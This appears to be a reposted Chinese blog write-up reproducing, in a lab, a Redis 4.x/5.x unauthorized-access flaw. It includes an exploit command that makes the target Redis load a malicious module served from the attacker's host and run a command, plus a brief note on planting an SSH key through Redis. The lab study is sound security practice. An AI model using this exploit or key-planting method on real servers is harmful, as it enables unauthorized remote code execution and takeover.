大家好,又见面了,我是你们的朋友全栈君。
Redis 4.x/5.x 未授权访问漏洞
Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
漏洞复现
最近碰到ctf的题目是通过ssrf和redis的未授权访问打入内网getshell,想着用docker复现以下此漏洞。
拉取环境开启环境后,如图
使用redis-cli -h your-ipj即可连接redis数据库,并且可以清空所有数据,即有未授权访问漏洞
使用poc实现远程命令执行
先将下载好的poc目录下的redismoudleSDK进行编译
但是即使进行编译之后还是会报错,因为没有装redis-cli
因为之前ubantu靶机装了但是kali没有装(后来发现并没有影响仔细找错甚至看了整个脚本)原来是我的8888端口号被占用了执行不了
python3 redis-master.py -r 192.168.11.147 -p 6379 -L 192.168.11.129 -p 8888 -f RedisModulesSDK/exp.so -c “id”
从而实现命令执行
此外还有一种方法就是利用ssh密钥
使用我的kali对ssh生成一个空密码,将密钥传输到靶机即redis上,然后可以使用ssh免密登录。
至此复现完成
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/134445.html原文链接:https://javaforall.cn